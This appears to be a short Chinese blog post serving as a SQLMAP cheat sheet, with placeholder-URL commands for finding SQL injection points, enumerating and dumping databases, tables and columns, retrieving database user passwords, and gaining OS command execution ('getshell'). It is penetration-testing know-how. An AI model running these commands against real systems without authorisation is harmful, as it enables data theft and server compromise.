Web工具篇SQLMAP（一）

最新推荐文章于 2024-02-26 00:42:22 发布

原创最新推荐文章于 2024-02-26 00:42:22 发布 · 342 阅读

0 ·

CC 4.0 BY-SA版权

工具专栏收录该内容

1 篇文章

订阅专栏

本文详细介绍了SQLMAP的基本命令，包括如何判断网站是否存在SQL注入点，查询数据库、表名及数据的方法，还涉及了一些不常用但实用的功能。通过对这些内容的学习，读者将对SQLMAP工具有更深入的理解。

SQLMAP基本命令

python sqlmap.py -hh //启动

判断是否存在注入点

python sqlmap.py -u 'URL' //GET请求方式的检测（一个参数）
python sqlmap.py -u "URL" //GET请求方式的检测（多个参数）
python sqlmap.py -u '[URL]' -forms //使用form表单POST请求
python sqlmap.py -u '[URL]' --method POST --data "[参数名=参数值]" //POST请求方式
python sqlmap.py -r upload/1.txt //将HTTP请求包放在upload/1.txt中【可放置各种请求方式】

在这里插入图片描述

查询数据库 / 表名 / 数据

python sqlmap.py -u "[URL]" --dbs //查看所有数据库
python sqlmap.py -u "[URL]" --currentdb // 查看当前数据库
python sqlmap.py -u "[URL]" -D XXX //在xxx数据库中继续查询其他数据
python sqlmap.py -u "[URL]" -D [数据库] --tables //查看某数据库中所包含的表
python sqlmap.py -u "[URL]" -D [数据库] -T XXX //在某数据库xxx表中继续查询其他数据
python sqlmap.py -u "[URL]" -D [数据库] -T [表名] --columns //查看某数据库中某表的属性
python sqlmap.py -u "[URL]" -D [数据库] -T [表名] -C [属性名] --dump //查看某数据库中某表某属性的数据

杂七杂八

python sqlmap.py --version //查看版本
python sqlmap.py -u '[URL]' --passwords //获取数据库用户密码
python sqlmap.py -u '[URL]' --current-user //获取当前用户名称
python sqlmap.py -u '[URL]' --level [1-5] //选择【1-5】测试等级，默认为1
python sqlmap.py -u '[URL]' --risk=[0-3] //选择【0-3】测试风险，默认为1
python sqlmap.py -u '[URL]' --is-dba //查看当前用户是否为管理权限
python sqlmap.py -u '[URL]' --os-cmd="[cmd命令]" //getshell
python sqlmap.py -u "[URL]" --referer "[URL]" -v [3-6] //referer欺骗

总结

还有一些进阶操作需要进一步了解应用一下